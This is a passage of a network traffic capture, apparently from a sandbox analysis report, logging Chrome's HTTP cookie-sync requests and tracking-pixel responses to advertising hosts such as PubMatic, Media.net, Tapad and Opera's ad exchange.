2024-01-10 23:27:26 UTC	1409	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=pba&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8
2024-01-10 23:27:26 UTC	646	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8;Expires=Thu, 09 Jan 2025 23:27:26 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:26 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:26 GMT Connection: close
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:26 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	50378	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3539	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; PugT=1704929244
2024-01-10 23:27:26 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	50376	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	788	OUT	GET /idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=1!263
2024-01-10 23:27:26 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:26 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:26 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:26 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:26 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:26 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	50364	82.145.213.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	709	OUT	GET /pub/sync?pubid=pub8730968190912 HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	807	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 166 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0 Pragma: no-cache Set-Cookie: UID=OPU94c5f6bfc10e4266866ca02b6e163de0; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-01-10 23:27:26 UTC	166	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4f 44 6b 6d 64 47 77 39 4e 44 4d 79 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 4f 50 55 39 34 63 35 66 36 62 66 63 31 30 65 34 32 36 36 38 36 36 63 61 30 32 62 36 65 31 36 33 64 65 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	50380	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3657	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=f6435827-796b-4521-81e9-11e581628f69&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	50375	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	1258	OUT	GET /cksync.php?cs=1&type=bs&ovsid=f6435827-796b-4521-81e9-11e581628f69&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8
2024-01-10 23:27:26 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-bs=f6435827-796b-4521-81e9-11e581628f69~~1;Expires=Wed, 08 Jan 2025 23:27:26 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:26 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:26 GMT Connection: close
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:26 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	50379	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3541	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=8266606981038422920&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; 